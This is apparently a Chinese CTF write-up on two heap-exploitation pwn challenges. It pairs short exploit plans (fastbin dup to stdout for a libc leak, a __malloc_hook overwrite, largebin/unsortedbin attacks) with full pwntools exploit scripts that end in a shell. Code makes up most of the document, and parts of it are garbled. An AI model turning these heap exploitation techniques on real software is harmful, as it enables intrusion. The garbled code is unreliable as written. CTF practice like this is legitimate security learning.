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## preface

清明,未参加这次比赛. 这次的pwn还是简单的

### noinfoleak

free之后未置零指针, 导致double free和uaf

# 利用思路

第一种: house of roman

需要爆破12bits,即使是本地,本人也从未爆破成功过,选择另一种方法

#### 第二种:修改stdout结构体

1. 构造一个同时在fastbin和unsortedbin的chunk:

```
+ fastbin: chunk0-->main_arena
+ unsortedbin: chunk0
```

- 2. 调整chunk0, 只用在就让chunk0->fd指向stdout附近, 然后fastbin dup到stdout附近, 修改flags和write base最低位. 这样子 putchar('>') 的时候就会leak libc
- 3. fastbin dup到malloc\_hook附近, 改为onegadget即可getshell

#### exp

```
#!/usr/bin/env python
from mypwn import *

context.log_level='debug'
context.arch='amd64'
ru=lambda s:p.recvuntil(s)
sl=lambda s:p.sendline(s)
sd=lambda s:p.send(s)

def menu(i):
    ru('>')
    sl(str(i))

def add(size,content):
    menu(l)
    ru('>')
    sl(str(size))
    ru('>')
```

```
sd(content)
def delete(i):
    menu(2)
    ru('>')
    sl(str(i))
def edit(i,content):
    menu(3)
    ru('>')
    sl(str(i))
    ru('>')
    sd(content)
def debugf(payload=''):
    gdb.attach(p,payload)
def exp():
    add (0x7f, 'a'*0x7f)
                                            0x60
    add (0x60, 'a'*0x60)
                                                        0x70
                                # 1
                                                                     0x7f
    add (0x60, 'a'*0x60)
                                # 2
                                             0x60
                                                         0x70
                               # 3
    add (0x7f, 'a'*0x7f)
                                             0x7f
                                                        0x90 \longrightarrow 0x70 + 0x20
    add (0x10, 'a'*0x10)
                               # 4
                                             avoid consolidate
    delete(1)
    delete(2)
    delete(1)
    add (0x60, p64 (0x6010A0))
    add (0x60, 'a'*0x60)
    add (0x60, 'a'*0x60)
    add (0x60, 'x00')
    payload=p64(0)+p64(0x71)+'\x00'*0x50
    # payload+=p64(0)+p32(0x21)
    edit(1,payload)
    edit(8,'\x60')
    payload=p64(0)*2+p64(0)+p64(0x21)
    edit(1,payload)
    delete(0)
    edit(8,'\x00')
    edit(1,p64(0)+p64(0x91))
    delete(0)
    edit(1,p64(0)+p64(0x71))
    edit(0,'\xdd\x95')
    # debugf('nb 04009D4')
    add (0x60, 'a'*0x60)
    payload='\x00'*0x33+ioleak(0x0000000fbad2887)
                                     # 10
    add (0x67, payload)
    line=ru('>')
    libc base=u64(line[0x40:0x48])-0x3c5600
    print(hex(libc base))
```

```
sl('123')
    malloc hook target=libc base+0x3c4b10-0x23
    delete(5)
    delete(6)
    delete(5)
    add (0x60, p64 (malloc hook target)) # 11
    add (0x60, 'a'*0x60)
                                            # 12
    add (0x60, 'a'*0x60)
                                           # 13
    one off=0x45216
    one off=0x4526a
    one off=0xf02a4
    one off€xf1147
    one=libc_base+one_off
    add (0x60, '\x00'*0x13+p64 (one)) # 14
    menu(1)
                   # why here need to malloc two times
    menu(1)
for i in range(0x100):
   try:
        p=process('./noinfoleak')
        exp()
       p.sendline('ls')
       break
   except:
       continue
p.interactive()
```

# storm\_note

Octf 某一年原题.

### 解题思路

- 1. off by one 构造overlap
- 2. largebin attack 和 unsortedbin attack 结合.
  - 。 largebin attack 造成可以改两个地方为heap
  - o unsortedbin可以改一个地方为libc, 刚好可以满足 house of lore 的条件

```
assert ((fwd->size & NON_MAIN_ARENA) == 0);
            while ((unsigned long) size < fwd->size)
                fwd = fwd->fd nextsize;
                assert ((fwd->size & NON_MAIN_ARENA) == 0);
            if ((unsigned long) size == (unsigned long) fwd->size)
              fwd = fwd->fd;
                victim->fd nextsize = fwd;
                victim->bk nextsize = fwd->bk nextsize;
                fwd->bk_nextsize = victim;
                victim->bk_nextsize->fd_nextsize = victim;
            bck = fwd->bk;
      victim->fd_nextsize = victim->bk_nextsize = victim;
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
```

enter description here

3. 上面两个步骤, 可以伪造出一个chunk. 这样子就可以dup一个chunk到0xabcd0100

#### exp

```
#!/usr/bin/env python
from pwn import *
context.log level='debug'
context.arch='amd64'
p=process('./Storm_note')
ru=lambda s:p.recvuntil(s)
sl=lambda s:p.sendline(s)
sd=lambda s:p.send(s)
def debugf(payload=''):
    gdb.attach(p,payload)
def menu(i):
    ru('Choice: ')
    sl(str(i))
def add(size):
    menu(1)
    ru('size ?\n')
    sl(str(size))
def edit(index,content):
    menu(2)
    ru('Index ?\n')
    sl(str(index))
    ru('Content: \n')
    sd(content)
```

```
def delete(index):
    menu(3)
    ru('Index ?\n')
    sl(str(index))
def debugf(payload=''):
    gdb.attach(p,payload)
add(0x10)
add(0x38)
                                   uaf
add(0x4f0)
add(0x10)
                 # avoid consolidate
add(0x10)
add(0x48)
add(0x4f0)
                 # avoid consolidate
add(0x10)
delete(0)
edit(1,'\x00'*0x30+p64(0x60))
delete(2)
add(0x10)
                   # 0
add(0x530)
                   # 2
delete(4)
edit(5, '\x00'*0x40+p64(0x70))
delete(6)
                   # 4
add(0x10)
                                  unsortedbin
add(0x540)
                   # 6
delete(2)
add(0x1000)
delete(6)
target=0xabcd0100-0x10
unsortedbin bk=target
largebin bk=target+0x8
largebin bk nextsize=target-0x20+3
edit(1,p64(0)+p64(largebin_bk)+p64(0)+p64(largebin_bk_nextsize))
edit(5,p64(0)+p64(unsortedbin bk))
debugf('nb C41')
add(0x48)
edit(6,' \times 00'*0x30)
menu('666')
ru('If you can open the lock, I will let you in\n')
sd(' \times 00' * 0 \times 30)
p.interactive()
```